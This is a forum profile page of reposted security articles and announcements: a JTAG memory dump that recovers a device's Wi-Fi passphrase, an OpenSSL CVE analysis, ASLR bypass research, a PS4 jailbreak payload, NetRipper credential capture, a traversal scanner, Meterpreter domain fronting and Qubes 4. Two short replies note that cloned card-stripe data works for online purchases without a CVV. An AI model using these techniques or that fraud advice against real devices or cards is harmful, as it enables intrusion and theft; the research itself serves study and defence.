Jump to content

Nytro

Administrators
  • Posts

    18725
  • Joined

  • Last visited

  • Days Won

    707

Everything posted by Nytro

  1. JTAG on-chip debugging: Extracting passwords from memory Published 29/03/2018 | By ISA Following on from my colleague’s post on using UART to root a phone, I look at another of our challenges, whereby sensitive information such as passwords can be extracted from a device’s memory if physical access to the device is acquired. The goal and target BroadLink RM Pro Smart Remote Control The target device is the BroadLink RM Pro universal remote control designed for home convenience and automation. This smart remote control can be used to control multiple home appliances through its application. It also allows users to create scenarios whereby multiple actions can be programmed and activated simultaneously. Device setup and functionality is accessed through the BroadLink e-Control application. This application must be running on a device connected to the same Wi-Fi network as the smart remote and the appliance you want to control. BroadLink e-Control application For the purpose of this challenge, setting up the device is required. In a real scenario, the device would likely already be set up. Start by connecting the smart remote to a Wi-Fi network and entering the Wi-Fi SSID and Passphrase within the e-Controls application. The application then subsequently tries to locate the device within the network and once it is found, a connection is established. Now that the smart remote is functional, an attacker who has physical access to the device may attempt to extract configuration or sensitive information loaded in memory. Successfully replicating this attack scenario is the main goal of this challenge. Taking a look inside The first step is to investigate the internal components of the device, starting by carefully taking apart the unit. There are three easily removable housing screws situated on the underside of the device. Once opened, we can then identify different points of interest within the device. These can be internal or external ports, the board’s chips, components, model and serial numbers. Identifying the chip’s model and serial number is essential and will provide us with the information we need in latter stages. Inside BroadLink RM Pro Smart remote Looking for ways to communicate with the device is another key step. When working with embedded architectures, the presence of debug interfaces such as UART and JTAG is a common method used to establish serial connectivity to the device. JTAG Joint Test Action Group or more simply JTAG, is a standardised type of serial communication commonly used by engineers and developers to perform on-board testing or diagnostics of embedded devices, also known as boundary scanning. Another functionality of JTAG, which is seemingly more used today, is CPU level debugging allowing read-write access to registers and memory. The JTAG interface uses four connection points also known as Test Access Port or TAP. These connection points correspond to four signals: TDI – Test Data In; this signal represents input data sent to the device TDO – Test Data Out, which represents output data from the device TCK – Test Clock, used to synchronise data from the TMS and TDI (rising edge of Test Clock) and TDO (falling edge of Test Clock) TMS – Test Mode Select; this signal is used to control the state of the TAP controller TRST – Test Reset; this is an optional signal used for resetting the TAP controller Identifying JTAG pinouts The implementation of JTAG is non-standardised, which means that the signal pinouts you may encounter will vary between devices. Aside from the standalone JTAG connection points, commonly seen JTAG interfaces may be a part of a 10 pin, 14 pin, 16 or 20 pin header. JTAG pinouts Looking closely at the device, the five connection points on the corner of the board is the JTAG interface. Using the JTAG’s debugging functionality should enable us to read and write data stored in memory. Note: Some devices will have JTAG present but their connections will have been disabled before being released into production. There are various tools available which can be used to identify JTAG signal pinouts, all of which vary in available features and pricing. Common examples are JTAGenum (for Arduino), JTAGulator and Hydrabus to name a few. For the purpose of this challenge, a JTAGulator is used. The JTAGulator supports a number of functionalities, including both the identification of UART and JTAG pinouts. The JTAGulator Connecting the JTAGulator The JTAGulator is connected to the smart remote starting from the lowest number of channels/pins on the board (CH0-CH4). The lowest numbered pinouts are used due to the brute-force method used by the JTAGulator to identify the signal value for each pinout. Using the lowest pin number decreases the number of permutation to iterate through and ultimately speeds up the identification process. JTAGulator connected to the device’s JTAG pins Once connected, you can control using the JTAGulator via USB connection, which will appear as a serial interface. A number of terminal emulators such as PuTTY, Hyperterminal or Minicom can be used to interface with the JTAGulator. In this instance, we will use ‘screen’ utility, which is installed by default on many Linux distributions. It can be used to establish a serial connection to the JTAGulator via the default ttyUSB0 device in Linux machines. The JTAGulator’s baudrate of 115200 should also be provided like so: ? $ sudo screen /dev/ttyUSB0 115200 Once a serial connection to the JTAGulator is established, pressing the ‘h’ key shows a list of JTAG commands available. The first step is to set the target voltage to 3.3V, which pertains to the voltage required by the microprocessor. 3.3V is commonly used by most chips; however, accurate information regarding the operational voltage can be found by looking through the chip’s specification sheet. Setting the correct voltage is important as an incorrect voltage could damage or destroy the device. After setting the voltage, the “Identify JTAG pinout (IDCODE Scan) can be used to identify JTAG pins, which works by reading the device IDs – specifically, TDO, TMS and TCK signals. To identify the TDI pin, the BYPASS scan is used. When running the scans, enter the number of channels to use as five; this will allow the JTAGulator to use the connections made channels CH0 to CH4. The scans should complete fairly quickly as there are only five pins exposed in the board, resulting in a lower number of permutations to be made. If the JTAG implementation appears alongside multiple pinouts, this can increase the number of permutations, thus increasing the duration of the scan. Identifying JTAG pinouts (BYPASS scan) The result of the BYPASS scan show us the location of the signal pinouts on the JTAGulator, which corresponds to the signal pinouts on the smart remote. You can skip this step entirely if the JTAG pinouts are labelled on the silkscreen print on the board, so do not forget to check both sides of the PCB, as it may save valuable time. JTAG signal pinouts printed underneath the board The Shikra In order for us to get debug access on the smart remote, a JTAG adapter and an OCD system is required. Many devices on the market allow interfacing with JTAG, such as Bus Pirate, Shikra and HydraBus. For this scenario, the Shikra and OpenOCD is used. The Shikra is an FT232H USB device often referred to as the “Swiss army knife of hardware hacking”; this device allows us to connect to a number of data interfaces, including UART, JTAG and SPI. A Shikra can be purchased from Xipiter: https://int3.cc/products/the-shikra. The Shikra The following diagram shows the Shikra pinouts for JTAG, which will be used to connect to the board’s corresponding JTAG pinouts. Ensure that the ground (GND) pin is also connected to a ground point on the board. Shikra JTAG connections http://www.xipiter.com/uploads/2/4/4/8/24485815/shikra_documentation.pdf The Shikra giving serial to USB connectivity OpenOCD OpenOCD allows us to perform on-chip debugging of the smart remote via JTAG. In Linux-based systems, you can install the OpenOCD package by running the following command: ? $ sudo apt-get install openocd In order for us to use OpenOCD, a configuration file for the adapter (Shikra) and the target (Smart remote) are required. OpenOCD comes with a number of pre-installed interface and target configuration files; however, the one required does not come in the pre-installed list. The configuration file for the adapter can be found in Xipiter’s getting started guide for the Shikra. Shikra OpenOCD configuration file: ? #shikra.cfg interface ftdi ftdi_vid_pid 0x0403 0x6014 ftdi_layout_init 0x0c08 0x0f1b adapter_khz 2000 #end shikra.cfg Obtaining the configuration file for the target was not as straight forward. The configuration file required was not available within the pre-installed configuration files and attempting to use any of them results in compatibility errors with the device. The approach taken in identifying the appropriate target configuration file involved looking up the microprocessor’s make and model. Using a magnifying glass or a good enough camera, the specific chip printings can be determined. The chip in question is a Marvell 88MC200 and a simple Google search of this chip and the keyword OpenOCD returns the target configuration needed. ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 # # Marvell's Wireless Microcontroller Platform (88MC200) # # https://origin-www.marvell.com/microcontrollers/wi-fi-microcontroller-platform/ # #source [find interface/ftdi/mc200.cfg] if " [info exists CHIPNAME] " " set _CHIPNAME $CHIPNAME " else " set _CHIPNAME mc200 " set _ENDIAN little # Work-area is a space in RAM used for flash programming # By default use 16kB if " [info exists WORKAREASIZE] " " set _WORKAREASIZE $WORKAREASIZE " else " set _WORKAREASIZE 0x4000 " # JTAG scan chain if " [info exists CPUTAPID ] " " set _CPUTAPID $CPUTAPID " else " set _CPUTAPID 0x4ba00477 " jtag newtap $_CHIPNAME cpu -irlen 4 -ircapture 0x1 -irmask 0xf -expected-id $_CPUTAPID set _TARGETNAME $_CHIPNAME.cpu target create $_TARGETNAME cortex_m -endian $_ENDIAN -chain-position $_TARGETNAME $_TARGETNAME configure -work-area-phys 0x2001C000 -work-area-size $_WORKAREASIZE -work-area-backup 0 # Flash bank set _FLASHNAME $_CHIPNAME.flash flash bank $_FLASHNAME mrvlqspi 0x0 0 0 0 $_TARGETNAME 0x46010000 # JTAG speed should be <= F_CPU/6. F_CPU after reset is 32MHz # so use F_JTAG = 3MHz adapter_khz 3000 adapter_nsrst_delay 100 if "[using_jtag]" " jtag_ntrst_delay 100 " if "![using_hla]" " # if srst is not fitted use SYSRESETREQ to # perform a soft reset cortex_m reset_config sysresetreq " The above configuration file was pointing to an interface path (line 7) which was not required and therefore has been commented out. The configuration file previously downloaded will be used instead and the file location specified as a command line argument in OpenOCD. Once both target and interface configuration files are saved locally, run the following OpenOCD command: ? $ openocd -f /usr/share/openocd/scripts/interface/shikra.cfg -f /usr/share/openocd/scripts/target/mc200.cfg The file path points to shikra.cfg file, which contains the interface configuration and mc200.cfg contains the target board configuration. The on-chip debugger should now be running and will open local port 4444 on your system. You can then simply connect to this port with Telnet: ? $ telnet localhost 4444 Dumping the device memory Once connected, debug access to the board is now possible and allows control of registers and memory address. Before the registers can be accessed, sending a halt request is required to send the target into a debugging state. After sending the halt request, the reg command is used to view all of the available registers and its values on the device’s CPU. The full list of useful commands is available in the OpenOCD documentation. Registers values shown in OpenOCD Highlighted in the above image is the Stack Pointer (SP) register. Discussing how computer addressing works is beyond the scope of this blog (it is not a simple subject!). For now, it is enough to understand that the location of the Stack Pointer contains the last value pushed onto the stack of things in memory (RAM), serving as the starting address from where user space memory can be accessed. Going back to the original goal of extracting sensitive information from the device, the “dump_image” command can be used to dump memory content (in hex). To successfully dump as much information as possible, a trial and error approach to identify the boundaries of user space memory can be taken. The dump_image command can be used as follows: ? $ dump_image img_out2 0x20002898 120000 The img_out2 argument is the output filename; the next argument is the Stack Pointer address and finally the amount of memory to dump in bytes. Dumping memory to a file The image above shows that initial attempts at dumping memory may fail if a larger amount of bytes than what is available is specified. After successfully dumping the contents of memory in hex, an analysis of the file can be performed to identify any information that might be of interest. Wi-Fi passphrase next to the SSID A hex editor of your choice can be used to navigate around the contents of the file and in the example above, we have used Ghex. Looking around the file and by performing a quick search, we can see the SSID name the device is connected to. 18 bytes after it, the passphrase was also shown. If we had purchased this device second-hand, then we could potentially use it to access someone’s home network and launch further attacks. Conclusion Cyber attacks on smart home devices should now be recognised by home consumers. On the other hand, manufacturers should consider methods for securing the hardware aspect – the very foundation of these devices – to ensure the security and privacy of its users. Cisco’s hardware hacking challenges gives us the opportunity to learn different methods to tamper or attack a device, therefore promoting a greater understanding of the security risks and controls they present. This post has presented a simple proof-of-concept attack on a consumer smart device, whereby a user’s Wi-Fi passphrase can be extracted and therefore allow an attacker to achieve persistent access to a victim’s network. This type of attack can be prevented by disabling – or more effectively – removing the JTAG ports completely from production devices, thereby minimising its attack surface. Sursa: https://labs.portcullis.co.uk/blog/jtag-on-chip-debugging-extracting-passwords-from-memory/
  2. CVE-2018-0739: OpenSSL ASN.1 stack overflow This was a vulnerability discovered by Google’s OSS-Fuzz project and it was fixed by Matt Caswell of the OpenSSL development team. The vulnerability affects OpenSSL releases prior to 1.0.2o and 1.1.0h and based on OpenSSL team’s assessment, this cannot be triggered via SSL/TLS but constructed ASN.1 types with support for recursive definitions, such as PKCS7 can be used to trigger it. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 /* * Decode an item, taking care of IMPLICIT tagging, if any. If 'opt' set and * tag mismatch return -1 to handle OPTIONAL */ static int asn1_item_embed_d2i(ASN1_VALUE **pval, const unsigned char **in, long len, const ASN1_ITEM *it, int tag, int aclass, char opt, ASN1_TLC *ctx) { const ASN1_TEMPLATE *tt, *errtt = NULL; const ASN1_EXTERN_FUNCS *ef; const ASN1_AUX *aux = it->funcs; ASN1_aux_cb *asn1_cb; const unsigned char *p = NULL, *q; unsigned char oclass; char seq_eoc, seq_nolen, cst, isopt; long tmplen; int i; int otag; int ret = 0; ASN1_VALUE **pchptr; if (!pval) return 0; if (aux &amp;&amp; aux->asn1_cb) asn1_cb = aux->asn1_cb; else asn1_cb = 0; switch (it->itype) { ... return 0; } What you see above is a snippet of crypto/asn1/tasn_dec.c where the decoding ASN.1 function asn1_item_embed_d2i() is located. Neither this function nor any of its callers had any check for recursive definitions. This means that given a malicious PKCS7 file this decoding routine will keep on trying to decode them until the process will run out of stack space. To fix this, a new error case was added in crypto/asn1/asn1.h header file named ASN1_R_NESTED_TOO_DEEP. If we have a look at crypto/asn1/asn1_err.c we can see that the new error code is equivalent to the “nested too deep” error message. 1 2 3 {ERR_REASON(ASN1_R_NESTED_ASN1_STRING), "nested asn1 string"}, + {ERR_REASON(ASN1_R_NESTED_TOO_DEEP), "nested too deep"}, {ERR_REASON(ASN1_R_NON_HEX_CHARACTERS), "non hex characters"}, Similarly, a new constant (ASN1_MAX_CONSTRUCTED_NEST) definition was added which is used to define the maximum amount of recursive invocations of asn1_item_embed_d2i() function. You can see the new definition in crypto/asn1/tasn_dec.c. 1 2 3 4 5 6 7 8 9 10 11 #include <openssl/err.h> /* * Constructed types with a recursive definition (such as can be found in PKCS7) * could eventually exceed the stack given malicious input with excessive * recursion. Therefore we limit the stack depth. This is the maximum number of * recursive invocations of asn1_item_embed_d2i(). */ #define ASN1_MAX_CONSTRUCTED_NEST 30 static int asn1_check_eoc(const unsigned char **in, long len); Lastly, the asn1_item_embed_d2i() function itself was modified to have a new integer argument “depth” which is used as a counter for each iteration. You can see how check is performed before entering the switch clause here. 1 2 3 4 5 6 7 8 9 asn1_cb = 0; if (++depth > ASN1_MAX_CONSTRUCTED_NEST) { ASN1err(ASN1_F_ASN1_ITEM_EMBED_D2I, ASN1_R_NESTED_TOO_DEEP); goto err; } switch (it->itype) { case ASN1_ITYPE_PRIMITIVE: Similarly, all calling functions on OpenSSL have been updated to ensure that the new argument is used as intended. The official security advisory describes the above vulnerability like this. Constructed ASN.1 types with a recursive definition could exceed the stack (CVE-2018-0739) ========================================================================================== Severity: Moderate Constructed ASN.1 types with a recursive definition (such as can be found in PKCS7) could eventually exceed the stack given malicious input with excessive recursion. This could result in a Denial Of Service attack. There are no such structures used within SSL/TLS that come from untrusted sources so this is considered safe. OpenSSL 1.1.0 users should upgrade to 1.1.0h OpenSSL 1.0.2 users should upgrade to 1.0.2o This issue was reported to OpenSSL on 4th January 2018 by the OSS-fuzz project. The fix was developed by Matt Caswell of the OpenSSL development team. Sursa: https://xorl.wordpress.com/2018/03/30/cve-2018-0739-openssl-asn-1-stack-overflow/
      • 1
      • Upvote
  3. Microsoft Security Response Center (MSRC) Publicat pe 14 feb. 2018 ABONEAZĂ-TE 287 Rob Turner, Qualcomm Technologies Almost three decades since the Morris worm and we're still plagued by memory corruption vulnerabilities in C and C++ software. Exploit mitigations aim to make the exploitation of these vulnerabilities impossible or prohibitively expensive. However, modern exploits demonstrate that currently deployed countermeasures are insufficient. In ARMv8.3, ARM introduces a new hardware security feature, pointer authentication. With ARM and ARM partners, including Microsoft, we helped to design this feature. Designing a processor extension is challenging. Among other requirements, changes should be transparent to developers (except compiler developers), support both system and application code, interoperate with legacy software, and provide binary backward compatibility. This talk discusses the processor extension and explores the design trade-offs, such as the decision to prefer authentication over encryption and the consequences of small tags. Also, this talk provides a security analysis, and examines how these new instructions can robustly and efficiently implement countermeasures. Presentation Slide Deck: https://www.slideshare.net/MSbluehat/...
      • 1
      • Upvote
  4. Nytro

    53R3N17Y

    53R3N17Y | Python based script for Information Gathering. Operating Systems Tested OSX El Capitan 10.11 Ubuntu 16.04 Backbox 5 Install MacOSX (as root) git clone https://github.com/abaykan/53R3N17Y.git /usr/local/share/serenity >echo 'alias serenity="/usr/local/share/serenity && ./serenity"' > ~/.zshrc cd /usr/local/share/serenity pip install -r requirements.txt serenity -h Linux (as root) git clone https://github.com/abaykan/53R3N17Y.git /usr/local/share/serenity >echo 'alias serenity="/usr/local/share/serenity && ./serenity"' > ~/.bashrc cd /usr/local/share/serenity pip install -r requirements.txt serenity -h note: tested with Python 2.7.14 Sursa: https://github.com/abaykan/53R3N17Y
  5. Jailbreak Kernel Patches Features Jailbreak Sandbox escape Debug settings Enable UART Disable system update messages Delete system updates Fake self support Fake pkg support RPC server RPC client in C# I use the standard fake pkg keys, created by flatz. General Notes Only for 4.55 Jailbroken PlayStation 4 consoles! The main jkpatch payload utilizes a port of CTurt's payload sdk. Change the Makefile to have LIBPS4 point to the ps4-payload-sdk directory on your machine. I could have it referenced from the home directory but meh... # change this to point to your ps4-payload-sdk directory LIBPS4 := /home/John/ps4-payload-sdk/libPS4 If you decide to edit the resolve code in the kernel payload, make sure you do not mess with... void resolve(uint64_t kernbase); ... as it is called from crt0.s. And changing this will produce errors. See other branches for other kernel support. I will support latest publically exploited firmware on main branch. RPC Quickstart See either Example.cs or look at the RPC documentation. You can read/write memory, call functions, read/write kernel memory, and even load elfs. Here is a cool example of an elf loaded into COD Ghosts (forge mod made by me!) You can download the source code to the forge mod here. Have fun! Coming Soon General code clean up and refactoring Thank you to flatz, idc, zecoxao, hitodama, osdev.org, and anyone else I forgot! Twitter: @cloverleafswag3 psxhax: g991 golden <3 Sursa: https://github.com/xemio/jkpatch
      • 1
      • Upvote
  6. Da, se poate. https://en.wikipedia.org/wiki/Magnetic_stripe_card Dar cardul clonat nu se va putea folosi la retragere cash de la ATM (probabil). Se va putea folosi la cumparatori fie online (nu e necesar sa fie clonat si unde nu se cere CVV) dar si in magazine care folosesc banda magnetica (prin SUA de exemplu, pe la noi mai rar).
  7. Datele de pe banda magnetica includ: numarul de card, numele detinatorului si data de expirare. Banda magnetica se poate copia pe un alt card. Se si pot folosi la plati online (unde nu se cere CVV-ul).
  8. NetRipper - Added Metasploit module https://github.com/NytroRST/NetRipper Poate cineva sa faca niste teste? Ar fi util sa stiu daca sunt probleme atat cu capturarea traficului cat si cu modulul de Metasploit. Orice sugestie e apreciata.
  9. NetRipper - Added support for WinSCP 5.1.3 https://github.com/NytroRST/NetRipper
  10. NetRipper - Added support for Putty 0.7.0 (64 bits) https://github.com/NytroRST/NetRipper
  11. NetRipper - Added support for Putty 0.7.0 (32 bits)
  12. Tallow - Transparent Tor for Windows Tallow is a small program that redirects all outbound traffic from a Windows machine via the Tor anonymity network. Any traffic that cannot be handled by Tor, e.g. UDP, is blocked. Tallow also intercepts and handles DNS requests preventing potential leaks. Tallow has several applications, including: "Tor-ifying" applications there were never designed to use Tor Filter circumvention -- if you wish to bypass a local filter and are not so concerned about anonymity Better-than-nothing-Tor -- Some Tor may be better than no Tor. Note that, by itself, Tallow is not designed to be a complete strong anonymity solution. See the warnings below. Usage Using the Tallow GUI, simply press the big "Tor" button to start redirecting traffic via the Tor network. Press the button again to stop Tor redirection. Note that your Internet connection may be temporarily interrupted each time you toggle the button. To test if Tor redirection is working, please visit the following site: https://check.torproject.org. Technical Tallow uses the following configuration to connect to the Internet: +-----------+ +-----------+ +----------+ | PC |------->| TOR |------->| SERVER | | a.b.c.d |<-------| a.b.c.d |<-------| x.y.z.w | +-----------+ +-----------+ +----------+ Here (a.b.c.d) represents the local address, and (x.y.z.w) represents a remote server. Tallow uses WinDivert to intercept all traffic to/from your PC. Tallow handles two main traffic types: DNS traffic and TCP streams. DNS queries are intercepted and handled by Tallow itself. Instead of finding the real IP address of a domain, Tallow generates a pseudo-random "fake" domain (in the range 44.0.0.0/24) and uses this address in the query response. The fake-IP is also associated with the domain and recorded in a table for later reference. The alternative would be to look up the real IP via the Tor (which supports DNS). However, since Tallow uses SOCKS4a the real IP is not necessary. Handling DNS requests locally is significantly faster. TCP connections are also intercepted. Tallow "reflects" outbound TCP connects into inbound SOCKS4a connects to the Tor program. If the connection is to a fake-IP, Tallow looks up the corresponding domain and uses this for the SOCKS4a connection. Otherwise the connection is blocked (by default) or a SOCKS4 direct connection via Tor is used. Connecting TCP to SOCKS4(a) is possible with a bit of magic (see redirect.c). All other traffic is simply blocked. This includes all inbound (non-Tor) traffic and outbound traffic that is not TCP nor DNS. In addition, Tallow blocks all domains listed in the hosts.deny file. This includes domains such as Windows update, Windows phone home, and some common ad servers, to help prevent Tor bandwidth wastage. It is possible to edit and customize your hosts.deny file as you see fit. Note that Tallow does not intercept TCP ports 9001 and 9030 that are used by Tor. As a side-effect, Tallow will not work on any other program that uses these ports. History Tallow was derived from the TorWall prototype (where "tallow" is an anagram of "torwall" minus the 'r'). Tallow works slightly differently, and aims to redirect all traffic rather than just HTTP port 80. Also, unlike the prototype, Tallow does not use Privoxy nor does it alter the content of any TCP streams in any way (see warnings below). Building To build Tallow you need the MinGW cross-compiler for Linux. You also need to download and place the following external dependencies and place them in the contrib/ directory: WinDivert-1.4.0-rc-B-MINGW.zip. tor-win32-0.3.2.9.zip. Then simply run the build.sh script. TODOS More comprehensive hosts.deny: By default Windows will "phone home" on a regular basis for various reasons. Tallow attempts to block most of this traffic by default via the hosts.deny file. However, it is unclear how comprehensive the current blacklist really is. Suggestions for new entries are welcome. Warnings Currently Tallow makes no attempt to anonymize the content of traffic sent through the Tor network. This information may be used to de-anonymize you. See this link for more information. Tallow should not be relied on for strong anonymity unless you know what you are doing. Sursa: https://github.com/basil00/TorWall
      • 3
      • Thanks
      • Like
  13. Twitter Scraper Twitter's API is annoying to work with, and has lots of limitations — luckily their frontend (JavaScript) has it's own API, which I reverse–engineered. No API rate limits. No restrictions. Extremely fast. You can use this library to get the text of any user's Tweets trivially. Very useful for making markov chains. Usage >>> from twitter_scraper import get_tweets >>> for tweet in get_tweets('kennethreitz', pages=1): >>> print(tweet) P.S. your API is a user interface s3monkey just hit 100 github stars! Thanks, y’all! I’m not sure what this /dev/fd/5 business is, but it’s driving me up the wall. … It appears you can ask for up to 25 pages of tweets reliably (~486 tweets). Markov Example First, install markovify: $ pipenv install markovify >>> import markovify >>> tweets = '\n'.join([t for t in get_tweets('kennethreitz', pages=25)]) >>> text_model = markovify.Text(tweets) >>> print(text_model.make_short_sentence(140)) Wtf you can’t use APFS on a prototype for “django-heroku”, which does a lot out of me. Installation $ pipenv install twitter-scraper Only Python 3.6+ is supported. Sursa: https://github.com/kennethreitz/twitter-scraper
      • 1
      • Upvote
  14. New bypass and protection techniques for ASLR on Linux By Ilya Smith (@blackzert), Positive Technologies researcher 0. Abstract The Linux kernel is used on systems of all kinds throughout the world: servers, user workstations, mobile platforms (Android), and smart devices. Over the life of Linux, many new protection mechanisms have been added both to the kernel itself and to user applications. These mechanisms include address space layout randomization (ASLR) and stack canaries, which complicate attempts to exploit vulnerabilities in applications. This whitepaper analyzes ASLR implementation in the current version of the Linux kernel (4.15-rc1). We found problems that allow bypassing this protection partially or in full. Several fixes are proposed. We have also developed and discussed a special tool to demonstrate these issues. Although all issues are considered here in the context of the x86-64 architecture, they are also generally relevant for most Linux-supported architectures. Many important application functions are implemented in user space. Therefore, when analyzing the ASLR implementation mechanism, we also analyzed part of the GNU Libc (glibc) library, during which we found serious problems with stack canary implementation. We were able to bypass stack canary protection and execute arbitrary code by using ldd. This whitepaper describes several methods for bypassing ASLR in the context of application exploitation. 1. ASLR Address space layout randomization is a technology designed to impede exploitation of certain vulnerability types. ASLR, found in most modern operating systems, works by randomizing addresses of a process so that an attacker is unable to know their location. For instance, these addresses are used to: Delegate control to executable code. Make a chain of return-oriented programming (ROP) gadgets (1). Read (overwrite) important values in memory. The technology was first implemented for Linux in 2005. In 2007, it was introduced in Microsoft Windows and macOS as well. For a detailed description of ASRL implementation in Linux, see (2). Since the appearance of ASLR, attackers have invented various methods of bypassing it, including: Address leak: certain vulnerabilities allow attackers to obtain the addresses required for an attack, which enables bypassing ASLR (3). Relative addressing: some vulnerabilities allow attackers to obtain access to data relative to a particular address, thus bypassing ASLR (4). Implementation weaknesses: some vulnerabilities allow attackers to guess addresses due to low entropy or faults in a particular ASLR implementation (5). Side channels of hardware operation: certain properties of processor operation may allow bypassing ASLR (6). Note that ASLR is implemented very differently on different operating systems, which continue to evolve in their own directions. The most recent changes in Linux ASLR involved Offset2lib (7), which was released in 2014. Implementation weaknesses allowed bypassing ASLR because all libraries were in close proximity to the binary ELF file image of the program. The solution was to place the ELF file image in a separate, randomly selected region. In April 2016, the creators of Offset2lib also criticized the current implementation, pointing out the lack of entropy by ASLR-NG when selecting a region address (8). However, no patch has been published to date. With that in mind, let's take a look at how ASLR currently works on Linux. Articol complet: http://blog.ptsecurity.com/2018/02/new-bypass-and-protection-techniques.html
  15. dotdotslash An tool to help you search for Directory Traversal Vulnerabilities Benchmarks Platforms that I tested to validate tool efficiency: DVWA (low/medium/high) bWAPP (low/medium/high) Screenshots Instalation You can download the last version cloning this repository git clone https://github.com/jcesarstef/dotdotslash/ This tool was made to work with Python3 Usage python3 dotdotslash.py --help usage: dotdotslash.py [-h] --url URL --string STRING [--cookie COOKIE] optional arguments: -h, --help show this help message and exit --url URL Url to attack. --string STRING String in --url to attack. Ex: document.pdf --cookie COOKIE Document cookie. Example: python3 dotdotslash.py \ --url "http://192.168.58.101/bWAPP/directory_traversal_1.php?page=a.txt" \ --string "a.txt" \ --cookie "PHPSESSID=089b49151627773d699c277c769d67cb; security_level=3" Links My twitter: https://twitter.com/jcesarstef My Linkedin: https://www.linkedin.com/in/jcesarstef My Blog(Brazilian Portuguese only for now): http://www.inseguro.com.br Sursa: https://github.com/jcesarstef/dotdotslash
      • 1
      • Thanks
  16. Domain Fronting with Meterpreter Posted on November 30, 2017 Domain Fronting is a technique that is typically used for censorship evasion. It relies on popular Content Delivery Networks (CDNs) such as Amazon’s CloudFront to mask traffic origins. By changing the HTTP Host header, the CDN will happily route us to the correct server. Red Teams have been using this technique for hiding C2 traffic by using high reputation redirectors. For more information on Domain Fronting, please refer to this whitepaper Setting up CloudFront Log in to AWS, and navigate to CloudFront. You will need a domain name that you own, or acquired for free from a registrar like Freenom. Once you are logged into AWS, click Create Distribution. The Origin Domain Name will be the domain that you own. You also need to match origin protocol policy (HTTP/HTTPs), so that CloudFront routes both types of traffic to you. Under Default Cache Behavior Settings, we need to tweak a few settings so that the CDN caches as little traffic as possible. Allow all HTTP methods possible. Set Cache Based on Selected Request Headers to All. For Forward Cookies, also select All. For Query String Forwarding and Caching, select Forward all, cache based on all. Articol complet: https://bitrot.sh/post/30-11-2017-domain-fronting-with-meterpreter/
  17. What's New in Qubes 4 Mar 01, 2018 By Kyle Rankin in Desktop Qubes Security Considering making the move to Qubes 4? This article describes a few of the big changes. In my recent article "The Refactor Factor", I talked about the new incarnation of Linux Journal in the context of a big software project doing a refactor: Anyone who's been involved in the Linux community is familiar with a refactor. There's a long history of open-source project refactoring that usually happens around a major release. GNOME and KDE in particular both use .0 releases to rethink those desktop environments completely. Although that refactoring can cause complaints in the community, anyone who has worked on a large software project will tell you that sometimes you have to go in, keep what works, remove the dead code, make it more maintainable and rethink how your users use the software now and how they will use it in the future. I've been using Qubes as my primary desktop for more than two years, and I've written about it previously in my Linux Journal column, so I was pretty excited to hear that Qubes was doing a refactor of its own in the new 4.0 release. As with most refactors, this one caused some past features to disappear throughout the release candidates, but starting with 4.0-rc4, the release started to stabilize with a return of most of the features Qubes 3.2 users were used to. That's not to say everything is the same. In fact, a lot has changed both on the surface and under the hood. Although Qubes goes over all of the significant changes in its Qubes 4 changelog, instead of rehashing every low-level change, I want to highlight just some of the surface changes in Qubes 4 and how they might impact you whether you've used Qubes in the past or are just now trying it out. Installer For the most part, the Qubes 4 installer looks and acts like the Qubes 3.2 installer with one big difference: Qubes 4 uses many different CPU virtualization features out of the box for better security, so it's now much more picky about CPUs that don't have those features enabled, and it will tell you so. At the beginning of the install process after you select your language, you will get a warning about any virtualization features you don't have enabled. In particular, the installer will warn you if you don't have IOMMU (also known as VT-d on Intel processors—a way to present virtualized memory to devices that need DMA within VMs) and SLAT (hardware-enforce memory virtualization). If you skip the warnings and finish the install anyway, you will find you have problems starting up VMs. In the case of IOMMU, you can work around this problem by changing the virtualization mode for the sys-net and sys-usb VMs (the only ones by default that have PCI devices assigned to them) from being HVM (Hardware VM) to PV (ParaVirtualized) from the Qubes dom0 terminal: $ qvm-prefs sys-net virt_mode pv $ qvm-prefs sys-usb virt_mode pv This will remove the reliance on IOMMU support, but it also means you lose the protection IOMMU gives you—malicious DMA-enabled devices you plug in might be able to access RAM outside the VM! (I discuss the differences between HVM and PV VMs in the next section.) VM Changes It's no surprise that the default templates are all updated in Qubes 4—software updates are always expected in a new distribution release. Qubes 4 now ships with Fedora 26 and Debian 9 templates out of the box. The dom0 VM that manages the desktop also has a much newer 4.14.13 kernel and Xen 4.8, so you are more likely to have better hardware support overall (this newer Xen release fixes some suspend issues on newer hardware, like the Purism Librem 13v2, for instance). Another big difference in Qubes 4 is the default VM type it uses. Qubes relies on Xen for its virtualization platform and provides three main virtualization modes for VMs: PV (ParaVirtualized): this is the traditional Xen VM type that requires a Xen-enabled kernel to work. Because of the hooks into the OS, it is very efficient; however, this also means you can't run an OS that doesn't have Xen enabled (such as Windows or Linux distributions without a Xen kernel). HVM (Hardware VM): this VM type uses full hardware virtualization features in the CPU, so you don't need special Xen support. This means you can run Windows VMs or any other OS whether or not it has a Xen kernel, and it also provides much stronger security because you have hardware-level isolation of each VM from other VMs. PVH (PV Hybrid mode): this is a special PV mode that takes advantage of hardware virtualization features while still using a pavavirtualized kernel. In the past, Qubes would use PV for all VMs by default, but starting with Qubes 4, almost all of the VMs will default to PVH mode. Although initially the plan was to default all VMs to HVM mode, now the default for most VMs is PVH mode to help protect VMs from Meltdown with HVM mode being reserved for VMs that have PCI devices (like sys-net and sys-usb). GUI VM Manager Another major change in Qubes 4 relates to the GUI VM manager. In past releases, this program provided a graphical way for you to start, stop and pause VMs. It also allowed you to change all your VM settings, firewall rules and even which applications appeared in the VM's menu. It also provided a GUI way to back up and restore VMs. With Qubes 4, a lot has changed. The ultimate goal with Qubes 4 is to replace the VM manager with standalone tools that replicate most of the original functionality. One of the first parts of the VM manager to be replaced is the ability to manage devices (the microphone and USB devices including storage devices). In the past, you would insert a USB thumb drive and then right-click on a VM in the VM manager to attach it to that VM, but now there is an ever-present icon in the desktop panel (Figure 1) you can click that lets you assign the microphone and any USB devices to VMs directly. Beside that icon is another Qubes icon you can click that lets you shut down VMs and access their preferences. Figure 1. Device Management from the Panel For quite a few release candidates, those were the only functions you could perform through the GUI. Everything else required you to fall back to the command line. Starting with the Qubes 4.0-rc4 release though, a new GUI tool called the Qube Manager has appeared that attempts to replicate most of the functionality of the previous tool including backup and restore (Figure 2). The main features the new tool is missing are those 